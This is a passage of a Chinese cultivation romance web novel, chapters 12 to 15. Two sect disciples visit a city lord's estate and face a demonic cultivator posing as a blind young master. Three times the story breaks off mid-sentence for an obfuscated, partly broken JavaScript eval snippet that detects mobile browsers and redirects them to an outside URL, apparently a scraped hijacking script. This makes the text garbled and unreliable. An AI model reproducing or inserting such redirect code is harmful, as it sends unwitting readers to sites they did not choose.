修士眉头轻皱的不悦神情就出现在眼前。 许采采眨眨眼,听他师兄冷淡至极地低声教育他:“别乱看别人。” …… 闲谈总算结束,萧老族长也面露疲色,长清宗众弟子便有序地告辞离开了。 许采采等人因为坐的最靠近前面,这时出门便自然而然落在了最后。 往大门方向去时,恰好坐在对面的萧阅霜也在朝这边走来。 对方步伐缓慢而谨慎,却还是在踏过门槛时,被绊得踉跄了一下。 许采采就排在他身后,见状忙抬手拉住对方的手臂,扶着萧阅霜站稳了。 掌心险些被对方的骨头硌到,许采采心中震惊于对方的瘦骨嶙峋,很快就松开了手。 萧阅霜似是受了惊吓,被扶稳后脸色微微发白地转身,面向许采采,出声道谢。 “多谢。” 他的声音亦十分虚弱,语气柔和。 说完,萧阅霜面上又露出方才那般颇有礼节的浅笑,面庞则直直朝着许采采,停顿了许久。 这让许采采感到一丝不舒服。 那种被人仔细打量的感觉很强烈,让他有瞬间都怀疑对面的萧阅霜其实能看见。 “敢问道友姓名?”萧阅霜轻柔的嗓音打断了许采采的思虑。 许采采回过神,出于礼节地应:“我叫许蕤。” 他对外人一向只报大名,小名是宗里熟识的人才唤的。 “许公子,”萧阅霜听见了,嘴唇更加弯了弯,“真好听的名字。” “在下萧阅霜,”他再次自我介绍了一遍,并含笑道,“我与许公子一见如故,许公子称我阅霜即可。” 这般介绍完,还待再说什么,许采采却已经被宋尽遥挡在身后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15251388|166399||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牵着手腕带走了。 …… 九溪城深谙待客之道,来贺寿的客人的吃住都会被妥善安排。 长清宗一行弟子,刚出萧府便由府上管家带着,去往城中规模最大的客栈入住。 这些日子,城里的客栈酒楼几乎都被萧家包下了。 几个小弟子跑去领了一大串房间钥匙,有单人间,也有双人间。 送钥匙的小弟子一直在外门,平时不怎么接触宋尽遥与许采采等人,这时看见宋尽遥面色冰冷不发一言,便怯怯地上前询问:“大师兄喜静,可是要单人间?” 谢问玉靠在一旁喝茶,闻言嗤笑一声。 “他这一路上,都恨不得直接将他师弟栓上裤腰带,哪要住什么单人房。” 说着,他一扬下巴,直直朝小弟子伸手:“我要住单人房,自在,给我把钥匙。” 小弟子连忙递了钥匙过去。 而宋尽遥那边,的确领了双人间的钥匙,与许采采一前一后上楼去了。 萧老族长看重他们,安排的客栈条件当然也是最好的。 房内装潢奢华,所有用具亦十分齐全舒适。 宋尽遥从出了萧府开始,便没再说过一句话。 这时进到房间里,关好门后,仍是一言不发地开始收拾。 先是以灵力过了一遍桌上的茶水,确认是新鲜的,便捏决温上。 后又一一检查门窗,探查周遭有没有什么污秽邪气,最终在房间四周落下阵法结界。 最后便是将客栈床榻上的枕头床褥收进柜子,从自己的储物袋中拿出许采采平日里惯用的一套,铺在床榻上。 许采采今天也算忙了一天,觉得口渴,进屋后便先倒了杯温好的茶喝。 自己喝完,也给他师兄倒一杯。 但喊人来喝的时候,却见宋尽遥只俯身铺床,并不应他。 许采采这时候才察觉不对劲。 他放下茶杯凑过去,又喊了一声师兄。 宋尽遥仍是一脸冷硬,丝毫不理他。 许采采见状挑眉,看了看他师兄铺到一半的床单,干脆直接坐上去。 “……” 宋尽遥这便没办法再继续忙碌了。 于是直起身来,看向许采采。 少年坐在床边,抬起一双乌黑的眼睛,哄他一般乖巧地问:“师兄,你怎么了,怎么突然不高兴?” 许采采是真的不知道怎么回事。 宋尽遥垂着眼皮,与他对视,视线冰冷。 沉默几息,才眉间轻皱问出口:“你很喜欢萧阅霜?” “……啊?”许采采被问得莫名其妙,“我没有啊。” 少年一头雾水,觉得他师兄的问题很奇怪。 “你很关注他。”宋尽遥眉头仍旧紧锁,说话间又向前迈了半步。 一条腿几乎要挤进许采采的膝盖之间。 在萧府大堂上,他虽然要配合与萧老族长闲聊,但仍时刻注意着身边的许采采。 他看到了师弟中间望向萧阅霜的那个眼神。 里头饱含情绪,满是心疼。 只要一想到许采采以那样的目光去看别人,宋尽遥便觉浑身躁郁,狠戾偏执的情绪几乎抑制不住。 他冰白双眸中的独占欲已极为明显,可许采采并未看见。 少年已然恍然大悟,便顿时又不好意思,又有所顾忌地垂下了脑袋。 手指拿着他师兄腰间的玉佩拽来拽去,许采采只好低声地直言相告:“师兄别不高兴,我那时其实,一方面是可惜他双目残疾,但更多是因为想到了你。” 许采采声音虽小,但情感真挚。 他抬起眼与宋尽遥对视:“我看他面色苍白,走路艰难,就想到你之前眼睛不好,肯定吃了更多的苦,心里便有些难受。” 一番话说完,知道许采采并非有意于他人,宋尽遥眼中的戾气早已褪去。 但在胸腔中作祟的闷堵感却反而愈演愈烈。 许采采这么说,那便意味着师弟当时的那个眼神,本该是属于他的。 现在却莫名分给了别人。 宋尽遥因此更加不悦。 他冷着脸,压着心中窒闷,不解地问:“这世上眼盲之人数之不尽,你难道要挨个去看?” 只是这么一想,宋尽遥便又要控制不住周身的低气压了。 许采采却没忍住一般,轻轻笑出声来。 宋尽遥便更加疑惑。 干脆抬手捏起师弟的脸,面色又冷又严肃地问:“笑什么?” 许采采被捏得嘴唇翘起,便顺势撒娇一般晃晃脑袋,把整张脸埋进了他师兄的掌心。 少年捧住修士的手,往里蹭蹭,软软地喊:“师兄……” 许采采抬起脸,脸颊被蹭得泛红,却仍带笑:“原来你是在吃醋啊。” 说完,望着他师兄仍旧压低的眉眼,少年坐直身体绷着脸保证:“师兄放心!不管谁来了,师兄在我这里永远都是第一位!” 早在掌心被师弟埋脸蹭动的时候,宋尽遥心中的一切负面情绪便迅速消散了。 许采采唤那声师兄时,柔软的唇在宋尽遥指缝间压过,修士胸腔里那阵焦躁顿时便化成了一团火,迅速烧至下腹。 而在听清许采采的话后,宋尽遥额间青筋跳动,强行运转灵力将那团燥热生生压下。 于宋尽遥而言,许采采这时所说的话,远比身体冲动值得他看重得多。 “好。”宋尽遥眸中的冰冷消失,变成极为炽热的偏执。 他重新捧住师弟的脸,喉结轻动:“师兄记下了,采采也要记住自己说的话。” 13. 十三 长清宗众弟子远道而来,萧老族长不愿有丝毫怠慢。 所以在许采采等人入住客栈的第二天,萧家便派人来邀请他们去府上参观。 几十名弟子自然没必要都去,只尊重个人意愿,选出几名跟随宋尽遥与谢问玉同去即可。 许采采因为要黏着他师兄,自然是要跟去的,其他大部分年轻弟子,都对中心城区的热闹集市更加感兴趣。 作为一城之主的府邸,萧府占地面积广阔,建筑规模宏大。 若真是慢悠悠地仔细参观,怕是耗上一整天也难逛完。 不过,宋尽遥与谢问玉二人本就不是当真来参观的,一走进府邸,见了主人与来往宾客,便不得不应酬寒暄。 倒是许采采与其他几个年轻弟子,不需操心这些,进府后便当真无忧无虑地参观起来了。 因为看重修行,萧府自然也设有修炼场,大小虽比不上长清宗的,但里头功能还算齐全。 许采采对没见过的事物都好奇,看见一排与长清宗样式不同的普通木剑,也要握在手里比划两下。 游玩得有些入神,便不免暂时落了单。 发现周遭没有熟悉身影的时候,许采采便将木剑放回去,准备去找自己的伙伴们。 但刚走出修炼场大门,便迎面看见一道纤细的白色身影正朝这边过来。 正是萧阅霜。 对方由一名随从搀扶着,迈步前会用手杖在石子路上轻轻敲击,步伐虽然缓慢,但并不慌乱。 他们之间只有六七步的距离,许采采脚步停在原地,一时犹豫要不要主动打招呼。 只是他尚未出声,倒是萧阅霜忽的面朝他这边露出浅笑,轻声开口询问:“可是许公子?” 许采采露出惊讶的表情,不知道对方是怎么认得出自己的。 他礼貌地拱手行个礼:“是我,萧公子。” 萧阅霜似是知晓他的疑惑,这时已走到许采采跟前停下,仍旧笑着解释:“许公子那日搀扶过我,我记得许公子身上的气息。” 许采采便点点头,没再细想。 又听萧阅霜问他参观得如何,萧府可有招待不周的地方,许采采自然是体面地一一应答回去。 萧阅霜听闻许采采参观得差不多了,便顺着话温声地提出邀请。 “我与许公子十分投缘,这修炼场旁边便是我所住的院子,许公子若玩得累了,可愿移步休息片刻?” 天色已经有些暗了,许采采还着急去找宋尽遥呢。 于是开口拒绝:“多谢邀请,不过我还得去找我的师兄。” 萧阅霜闻言似是有些伤心,唇边的笑容僵了僵。 但他又像是怕被许采采看出来一般,于是那抹弧度勉强地保持着。 苍白的唇色配上覆在双目上的白绫,显露出几分无声的脆弱。 许采采看见对方这幅样子,顿时就眉头一皱,心里莫名生出几分愧疚来。 萧阅霜无措般偏了偏脸,又强撑笑容道:“那……看在我无法视物的份上,可否劳烦许公子将我送回住处。” “只需送至门外即可。”他怕许采采再拒绝一般,语气稍急地补充。 许采采这次无法再推辞,点头答应。 萧阅霜总算放松地笑了。 两人保持着一定的距离,并行在石子路上。 许采采伸出一只手臂,由萧阅霜自己抬手扶着。 直到两人朝着萧阅霜所在院落的方向走了,许采采才疑惑地后知后觉。 如果他没记错的话,方才明明有一名随从跟在萧阅霜身侧,两人交谈的功夫,那随从居然就不知所踪了。 照顾到萧阅霜的不便,两人走得较慢。 一路上,萧阅霜一直在声音柔和地寻找话题。 “许公子名叫许蕤,可为何我曾听你的同门道友称许公子为采采?” 许采采注意着脚下,闻言随意解释:“那是我叫惯了的小名。” 萧阅霜闻言抬脸朝向他,浅笑:“那我可以也称许公子为采采吗?” 他又轻轻皱眉,有所顾虑地轻声:“还是只有许公子的亲近之人才可以这么叫?” 到这时,许采采与面前之人相处间所感受到的不自在,已经愈发强烈了。 他觉得萧阅霜待自己过于热切,像是有所图。 可偏头去看对方的面庞,萧阅霜面色苍白,笑容秀雅,身形更是瘦弱得仿佛一吹就倒。 实在是十分无害。 许采采只好安慰自己是想多了。 他别开视线专心走路,简单地应:“都可以。” 萧阅霜却像是得了多大的特例,闻言愉悦地抿唇微笑。 “好,多谢采采。” 总算把萧阅霜送到目的地后,许采采很快与人道别,又一路小跑回修炼场。 宋尽遥与谢问玉恰好拜别萧老族长,过来接他,身后跟着几个宗门弟子。 许采采跑到他师兄跟前时,额头出了汗,宋尽遥便动作自然地从怀中取出软帕,抬手去给人擦。 谁知刚一靠近,宋尽遥神情忽的一变,继而皱眉攥上了许采采的手臂。 修士神情沉冷,开口问:“采采见了谁?” 许采采瞪大眼睛,没往别处想,只觉得他师兄未免过于厉害了。 他都还没来得及讲呢,宋尽遥就能立刻知道他见了别人。 盯着自己被握住的那截手臂来回看,许采采非常好奇他师兄是怎么一眼看出来的。 衣袖乱动之际,走在一旁的谢问玉也看过来。 看了两眼,谢问玉忽的用折扇挑起许采采一截袖边,把鼻子凑过去闻了一下。 他闻完当即皱眉:“你这衣袖上怎么有股怪味?” 许采采面露疑惑,与眸色仍旧冰冷的宋尽遥对视一眼,自己也凑去嗅一嗅。 可他修为有限,压根闻不出什么异样。 于是便很快全部交代。 他这只手臂今日只被萧阅霜扶过。 在他师兄的视线压迫下,许采采将自己如何与萧阅霜见的面,两人都寒暄了些什么,全都一一交代完了。 说到自己送萧阅霜回院子时,许采采看了脸色难看的宋尽遥一眼,竟莫名心虚。 “他眼睛看不见,我说不出拒绝的话。”少年最后弱弱地补充一句道。 宋尽遥又看了许采采几息,才眉间轻皱,在许采采身上施了一遍清洁术法。 他用自己的灵力彻底覆盖了那道来自外人的异常气息,神情才总算有所缓和。 “今后看见萧阅霜,就躲远些。”修士冷声嘱咐。 “……哦。”许采采怕他师兄生气,乖乖地应。 旁边传来一声轻笑。 谢问玉看了全程,这时饶有兴味地展开折扇轻轻扇动,出声调侃。 “人家萧公子那般柔弱,还能咬我们采采一口不成?” 不知道哪个字眼触了宋尽遥的忌讳。 修士好不容易和缓下来的神情又变得冷硬。 他带着冰冷敌意瞥了眼谢问玉,继而将原本站在两人中间的许采采牵过一旁,挡在自己身体的另一侧,这才带着师弟离开了。 “喂!”谢问玉“唰”地合上扇子,在后面无语地骂,“你这人一点玩笑都开不起啊?果真是小肚鸡肠!” …… 晚间回到客栈,许采采叫了水泡澡。 这倒不是因为傍晚那个小插曲,毕竟许采采闻不出什么怪味,也没那么讲究。 只是他们一路乘飞舟过来,舟车劳顿。 再加上来到九溪城后,没少往外面跑,与人交际,一直没个真正放松的时候。 昨晚是住下的第一晚,许采采累得没精力折腾,只用清洁术法草草了事。 这才将泡澡挨到了今晚。 这客栈条件优越,服务一流。 送来的泡澡水中,不仅水底以灵石保持温热,还往里添加了专供修士使用的香料,起到舒缓经脉、滋养灵力的作用。 反正萧老族长已经帮忙付过房钱了,不泡白不泡。 送水的杂役出去后,宋尽遥俯身替许采采试了水温,又从储物袋中拿出一套干净衣物,给人放在木桶旁。 许采采则已经开始着急脱衣服了。 他与宋尽遥朝夕相处,小时候更是被他师兄看过无数次赤|身裸|体的模样。 所以许采采在宋尽遥面前,压根没有任何顾忌。 替师弟将一切准备妥当后,宋尽遥刚转过身,便见许采采将褪落的裤子踩到脚下,已经脱得一件不剩了。 修士几乎是立刻便僵住了身形。 握在木桶边缘的长指陡然收紧,手背处青筋突起。 在许采采转身过来,打算迈腿进入桶中的同时,宋尽遥迅速回神,背过了身子。 那一片光|裸起伏的白似乎还在眼前滞留,修士稍显狼狈地闭了闭眼,胸膛起伏。 耳边传来水声,宋尽遥静立片刻后,抬步绕出屏风,往门口的方向走。 许采采还没在水里坐稳,就注意到他师兄的动作,不由赶紧出声叫人。 “师兄,你去哪?” 修士的手已经扶上门锁,闻言动作停顿,并未回头地答:“我去外面看守。” 许采采疑惑皱眉。 “房外有你落下的阵法,还用亲自出去守?” 以往他在微明峰灵泉里泡澡,宋尽遥不管泡不泡都会守在旁边,陪他聊天解闷儿,许采采早就习惯了。 怎么住客栈里,就得出去守着? 许采采不愿意,非要叫他师兄过来。 “师兄,求你了,快过来陪我聊天,我一个人泡澡多没意思啊。” 话落,静了几息,原本放在桌上的几本话本忽的“唰唰”飞到许采采手边。 宋尽遥始终背对着他站在门旁,不为所动地坚持:“自己洗,无聊就看话本。” 说完,修士便头也不回地迅速出去了。 “……” 许采采气得在水下用力扑腾脚。 因为没有人陪,许采采这次只泡了不到一个时辰,就自己穿上衣服出来了。 他故意没系腰带,衣领也扯得松松垮垮,就急着拉开房门去找人。 宋尽遥果然一直守在门外走廊的栏杆处。 许采采站在门口不再往前走,而是不怎么高兴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15251389|166399||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地撇着嘴,狐疑地盯他师兄。 宋尽遥的神情倒是没有任何异常。 只是在看到许采采这幅模样后,迅速抬步走近,先用身形把人挡严实了。 修士并未出声责备,只是有条不紊地给师弟系上腰带,整理好衣服。 确认一切规整,才撤开半步,又顺带将头发也给许采采烘干。 见师兄还是这样耐心细致地照顾自己,许采采方才那点被冷落的郁闷总算散去,心里顿时好受多了。 少年重新变得乐呵呵的。 这时杂役过来收拾。 许采采见状赶紧开口,没让人把木桶搬走,而是吩咐再换一桶干净的水来。 “师兄,这里的水真的还挺舒服的,你也泡泡。”少年脸颊因为泡澡还红彤彤的,乖巧地建议道。 宋尽遥抬眸看他一眼,毫不停顿地拒绝:“师兄不洗。” 许采采不解:“你这些天一直在操劳,这水能舒缓经脉,泡着解解乏嘛。” 宋尽遥眉间轻皱,还是打算拒绝。 许采采却已经脸色一沉,重新变得不高兴起来。 他幽幽开口:“师兄,你今晚很奇怪哦。 “我一洗澡,你就往外跑。让你洗,你也死活不愿意,难道洗澡水里有洪水猛兽?” “……” 宋尽遥被师弟步步逼问,最终只好别开视线,妥协。 重新关上门的房间里,许采采像尾巴似的一路跟着宋尽遥进到屏风后。 里头已经换上了新的热水,水面热气缭绕,连带着空气温度也有所升高。 许采采乐颠颠地,一时兴起,非要伺候他师兄脱衣服。 修士复杂的玉扣腰带、厚重的银白外袍、甚至沉甸甸的白玉发冠都被人一一取下,挨个放至一边。 直脱到最后,只剩一套里衣时,许采采试探着想要作乱的手被轻轻握住。 他师兄掌心滚烫,一片潮湿,嗓音无波无动地开口:“我自己来。” 话落,许采采的手就被拨开了。 “好吧。” 许采采也不强求,但他也没出屏风。 而是拿过刚才一直没看进去的话本,往旁边的床榻上一躺。 宋尽遥一身轻透白衣,手指捻着衣带,闻声回头,看向许采采的眸光一片冰冷。 许采采靠在床头,丝毫不被吓到,反而笑眯眯的。 “虽然你不陪我洗澡,但我不与师兄斤斤计较,反而留下陪你,这叫以德报怨。” “……” 宋尽遥皱了皱眉。 这种时候,他已经没心思去纠正师弟成语该怎么用了。 许采采见他师兄还不动,又躺好面朝床顶,还用手里的话本挡住自己整张脸。 “师兄放心,我才不会看着你洗呢,我看话本。” 许采采这会儿这么说,当然也是这么做的。 他乌黑的一双眼睛只盯着话本的大黑字看,一点也没乱瞥。 似乎又停顿了片刻。 衣料摩擦的声响总算传来,接着便是稍大些的水声。 水声在波动后又变得平稳,是宋尽遥已经坐进水里了。 许采采顿时就忘记了自己上一句保证的什么。 他心思顽皮,越是不让他干什么,他偏要去干。 少年悄无声息地把脸前的话本挪开,仗着宋尽遥是背对着他坐在木桶中,光明正大地去看他师兄洗澡的背影。 原本只是抱着玩闹的心思。 有时候宋尽遥越规矩古板,许采采便越想逗他师兄玩。 但看着看着,许采采竟不知不觉有些呆。 他以前怎么没发现,他师兄的身材这么好? 只是半个赤裸的肩背,还被乌黑长发遮挡许多,竟就能让人一时移不开眼。 许采采看得专注,于宋尽遥而言则更是折磨。 他五感本就比一般修士还要敏锐,更何况……师弟的视线也太过明目张胆了些。 暗自将原本冒热气的水温调至冰凉,但修士的体温却仍在不受控制地升高,水面下的地方更是变得格外滚烫。 实在是洗不下去了。 修士浑身肌肉绷紧,已经有些熟练地在体内运转灵力,将躁动的欲念寸寸往下压。 汗液混着水珠滑下,不易叫人察觉,但开口时,宋尽遥一向冷淡的嗓音破天荒带了几分哑意。 “采采。”他低低唤了一声,但在安静的房间里足够突兀。 许采采当即回神,下意识应:“师兄?” 又听他师兄咬牙切齿般,沉声提醒他道:“专心看你的话本。” 许采采顿时脸颊红透。 “知,知道了!” 说着,少年手忙脚乱地拿起不知什么时候被撇到一边的话本,“啪”地盖回了自己脸上。 视野陷入昏暗,耳边传来他师兄出水穿衣的声响。 许采采躲在话本后面,后知后觉,发觉自己浑身都变得热乎乎。 他两只红透的耳朵漏在外面,又怕什么似的,忙仰脸往纸面上蹭了蹭鼻尖。 真奇怪。 一定都怪他师兄的身材太好了。 14. 十四 萧老族长寿宴当天,整个九溪城热闹非凡。 筵宴从白日持续到晚上,因为结束时间会很迟,所以重要的宾客都会被安排直接在萧府留宿一晚。 宴席上,宋尽遥与谢问玉作为长清宗的代表,身边时时刻刻都有人端着酒杯过来客套。 萧家为宾客提供的酒自然不是凡间酒水,修士喝了也能醉。 出门在外,须得时时戒备。 宋尽遥和谢问玉作为此行领队的两个师兄,起码得有一个人时刻保持清醒。 宋尽遥性情固执而冷漠,不爱说话,不喜饮酒,叫他去与人寒暄,时常是令对方难堪。 所以与人传杯换盏的任务便落在了谢问玉身上。 谢问玉擅长交际,只要他心情好,这些事便都能做得游刃有余。 第二日就要启程回宗,谢问玉亦不会多喝。 等觉得差不多的时候,他便与一直面无表情坐在一旁的宋尽遥对视一眼,继而往桌上一倒,装出醉倒的模样。 宋尽遥便招呼许采采,两人一左一右架着谢问玉,推辞掉仍旧想围过来寒暄的宾客,与老族长告辞离场了。 萧家后院,宋尽遥亦是只要了两间房,一大一小。 做戏做到底,宋尽遥与许采采一路将谢问玉送进房里“安顿”妥当,才一同回房去了。 许采采也喝了半杯果酒,不会醉,只是脸颊烧红。 回房后,他师兄在房间里铺床收拾,许采采便跑到院子里透透气。 此时已经亥时,天色黑沉,不见月光。 因为距离较远,所以宴席处的热闹并没有传到这边,只远远望着有几点光亮,四周静谧一片。 许采采绕着挺大的院子散步,走着走着,发现自己竟找不到回客房的方向了。 明明就是个普普通通的院子,许采采心中疑惑又震惊,他压根没出院门,居然还会迷路! 正心觉古怪之际,一阵难闻气息忽的钻入鼻腔,紧跟着脚下一空,像是坠落到了别处。 许采采再度睁眼,眼前已是一片明亮春色。 他环顾四周,发现自己居然置身于令他再熟悉不过的微明峰上。 此刻他正蹲在地上为新送来的灵植挖坑浇水,他师兄宋尽遥则在他忙碌完后,牵着他的手到溪边,动作温柔地为他洗净泥巴,又拿出手帕将指缝一一擦干。 整理妥当,师兄弟二人还带着新采的花送去密室。 师尊江执道收了花,明显十分愉悦,揉完许采采的脑袋,顺带还叫宋尽遥也俯身,抬手在大徒弟头顶上也揉了揉。 师徒三人相处间一派温馨和煦。 这几乎就是许采采平日里最常见的生活场景,只有一些小细节略有出入。 比如宋尽遥不可能笑着看他种灵植,因为他师兄总恨不得许采采一棵都不种才好呢。 比如他师尊也不会摸宋尽遥的脑袋,师尊那般温润庄重,怕是会嫌他师兄这个大冰块冻手。 不过忽略这些小细节不谈,许采采望着跟前的春日风景,更想知道自己为什么前一刻还在黑咕隆咚的萧府庭院,下一刻就突然回到微明峰了。 他正疑惑着,却忽的感觉有一道黑影在右后侧靠近。 第二次闻到方才那阵刺鼻的难闻气息,许采采原本茫然的神情忽的严肃起来。 他虽然从没见过真正的魔修,但长清宗经常会有教弟子们如何辨认妖魔的课程,许采采学习一向认真,早就将知识全都牢记在心。 所以这时他很快便辨认出来,这气息就是长老曾为他们展示过的魔气。 许采采面上保持镇定,继而迅速从储物袋中召出他师兄为他放进去的飞镖法器,用力向黑影方向掷去。 强大的灵力陡然将那道黑影击得向后踉跄几步,紧跟着,许采采眼前的幻象也迅速消散。 周遭又恢复了黑夜景象。 而眼前的人一身白衣,面露痛苦地抬手捂住被击中的肩膀,用来遮挡双眼的白绫则被方才的劲风揭开。 白绫落地,许采采惊得睁圆眼睛,看清对方的双眼竟是魔修才有的紫瞳。 那双紫色眼珠上燃着黑色魔气,颇为狰狞,与萧阅霜原本清俊的脸庞十分违和。 “你不是萧公子,你是魔修!” 少年神情一凛,立刻拔剑与人对峙。 而对面的魔修亦是一脸震惊。 他看着许采采双眸明亮,神志清醒的模样,不敢相信对方居然丝毫不受他的幻境所困。 许采采这边已经做好打斗的准备了,却见对面的人在犹豫过后,忽的匆忙后退几步,化作一阵魔气消失了。 周遭重新恢复平静,只在地上留了一大片制造幻境后残余的符阵痕迹。 许采采神情严肃地皱着眉,收剑时手却有些抖。 头一次面对真正的魔修,他心中说不慌乱是假的。 只不过当时不能露怯,才强装镇静罢了。 至于地上的符阵痕迹,许采采蹲下仔细查看,又结合自己刚才看到的微明峰假象,认出这应该就是他在课册上学过的迷心咒。 长老曾教过,迷心咒,是魔族特有的一种十分险恶的咒法。 这种咒法可以利用修士最深重的欲望或执念,编织幻境困住对方。 被困在幻境中的修士将会变得神志不清,无法区分虚假与现实,有的还会直接陷入昏睡,长眠不起。 修士在这种状态下将没有任何反抗能力,而施咒的魔修便可以趁此机会吞噬对方的灵力和修为。 课册上还说,修士的执念越深,所受迷惑便会越严重。 无所欲求的修士不易被幻境迷惑,心志浮躁不定之人则极易中招。 许采采认出后,便不再逗留,而是立刻起身跑去找宋尽遥。 他此刻也不再迷路了,方才死活找不到的客房门口,如今就在几十步远的位置。 不过,原本透出明亮灯火的门窗,此时竟是一片漆黑。 许采采神情一惊,心中顿觉不妙。 少年几乎是飞奔进屋。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宋尽遥人还没彻底从中抽离,先抬手捧住了许采采的脸。 在师弟稍显湿润的眼角来回擦拭,修士嗓音一片沙哑:“采采?” “师兄!”许采采当即怔住,湿红双眼直直地观察宋尽遥的反应。 修士双眸中的混沌炙热如浪潮般褪去,逐渐变回了平日里的冰冷。 许采采见他师兄总算恢复正常,几乎真的哭出声来:“师兄,你真的快吓死我了!” 少年一边喊着,一边用力扑抱过去,整个人都撞进宋尽遥怀里。 尚未来得及将人紧紧抱住,先听见他师兄本就不稳的呼吸陡然变得粗重。 许采采自己也是身形一僵。 他好像……磕到了什么很硬的东西。 15. 十五 滚烫的热度很快通过衣料传递。 认清自己碰到的是什么事物时,许采采吓得连忙后退两步,从他师兄膝盖之间退了出来。 “师兄……”许采采神情中还是担忧居多,“你没事吧?” 宋尽遥眉眼压低,避开他的视线很快站起身,沉声道:“先去找谢问玉。” “哦,对!” 一经提醒,许采采陡然从方才的尴尬中抽回神。 魔修尚未解决,他立刻又变得正色起来。 师兄弟二人迅速出了屋子,赶去谢问玉那边。 魔修果然在谢问玉房中,同样一片漆黑的屋里充斥着浓烈的魔气。 许采采与宋尽遥赶到时,谢问玉已经陷入了魔修的幻境里。 因为睡得早,谢问玉这时身上只穿了里衣,他整个人正像个木偶般盘腿坐在榻上,显然失去了自主能力。 而“萧阅霜”则站在榻边,已经开始十分贪婪地吸食着谢问玉的灵力。 谢问玉半睁的眼睛因为被魔气侵染而变得涣散空洞,里头散发着黑气。 他脸色变得灰白,面部肌肉僵硬,正一边十分疯癫地哈哈大笑,一边胡言乱语:“好啊宋尽遥,你次次都是我的手下败将,还不快跪下来认我当大哥!” “……” 许采采刚冲进屋便看见这一幕,不由嘴角抽搐。 而宋尽遥已经迅速上前,抬脚将并未来得及防备的魔修踢出几米远。 魔修重重摔至墙边,捂着被踹的腹部蜷缩身体惨叫一声。 知道自己不是眼前人的对手,他又打算化作一团黑气逃跑,但还没有任何动作,便已经被一阵深厚的灵力镇压。 那灵力铺天盖地而来,如巨石般压住他的四肢百骸,将他狠狠钉牢在墙根。 魔修顿时浑身疼痛,动弹不得。 迷心咒中止,谢问玉却一时沉浸在幻境中醒不过来。 许采采扑过去摇晃对方的肩膀,又喊了好些声,谢问玉却还是神情呆滞的模样,口中低喃着让宋尽遥给他当小弟,供他驱使。 许采采着急,干脆直接拿过旁边的醒酒茶对着脸泼过去。 这回起了效果,谢问玉的面庞逐渐恢复人色,眼皮抬起,如梦初醒。 他抹了把脸,茫然地环顾四周。 看向被宋尽遥制服的魔修,又看看地上的迷心咒符阵,便大致明白了怎么回事。 谢问玉眉头紧锁:“我……” “嗯,”许采采见他正常了,总算松一口气,“你方才被魔修弄进幻境里了。” 谢问玉迅速穿衣下床。 几人看向被钉得挣扎不得的魔修,对方仍旧一身白衫,顶着萧阅霜的脸。 许采采皱眉质询:“你从何而来,为什么要冒充萧公子,还要害我们?” 那魔修张嘴先是连声咳嗽。 宋尽遥方才那一脚踹得太重,他嘴里这时全是血水。 “害你们当然是为了吃你们的修为。”魔修表情变得阴狠,眼神却在瞥过宋尽遥与谢问玉之后,定在许采采身上。 他神情和缓了些:“不过,我只打算吃他们两个,可没打算吃你。” 许采采被魔修诡异的紫瞳盯着,顿时感到不适。 “我会把你带回圣域,好好养着你。” 圣域便是魔修对魔界的尊称。 许采采眉头深皱,露出几分茫然来。 “啊?”他不解地问,“为什么?” 那魔修双眼直勾勾地上下看他,唇角露出狰狞笑意:“我知道你对我有意。” 话音刚落,这回许采采这个当事人都没来得及做出反应,面前霎时间银光乍现。 元婴修士本命剑铮然出鞘,剑身流动刺目灵光,锋利剑刃携着强烈杀气直逼魔修喉管。 利刃割破了脖颈上的表皮,那魔修当即被吓得哇哇惨叫。 宋尽遥发丝因剑气飘动,灰白双眸沉冷到极点,显然是真的动了杀心。 谢问玉也是听得一头雾水,忍不住上前一步指着许采采,问那魔修:“你丑成这样,他什么时候有意于你了?” 魔修虽已经剑架脖子,但却毫不服劲儿。 他闻言再次看向许采采,一边竭力向后躲着剑刃一边道:“你若不是对我有意,初次见面时为何那般深情地久久凝望我? “若不是对我有意,出大堂时我故作绊倒,为何偏偏是你扶我? “甚至,你还愿意让我叫你采采。” 魔修说着说着,逐渐目露痴迷:“我还是第一次遇见完全不受我的迷心咒影响的人,你的神魂是如此纯净,跟我走吧,我肯定会……” 这次话未说完,魔修陡然爆发出一声凄厉惨叫。 宋尽遥再无法忍耐般,直接以本命剑刺透了魔修的左肩。 他真的动了怒,周身气场阴沉,一向冷淡的声音狠得发抖:“你找死。” 说着,剑身翻转搅动血肉,直冲心脏。 魔修这次直接喊不出声了,只能瞪大眼睛艰难地喘气。 许采采与谢问玉连忙左右去拦宋尽遥。 “师兄,先冷静!” 还是头一次见宋尽遥这样动怒,许采采生怕他师兄气出好歹,忙轻抚胸口给人顺气。 谢问玉也被宋尽遥这幅模样吓了一跳,急忙地劝:“先别杀他,毕竟这是在萧家地盘,还是得让萧老族长出面再说。” 出剑的手臂被许采采紧紧抓着,宋尽遥态度固执,僵持半晌,才暂时没有进一步动作。 只是冷厉双眼仍如刀刃般直直落在那魔修身上。 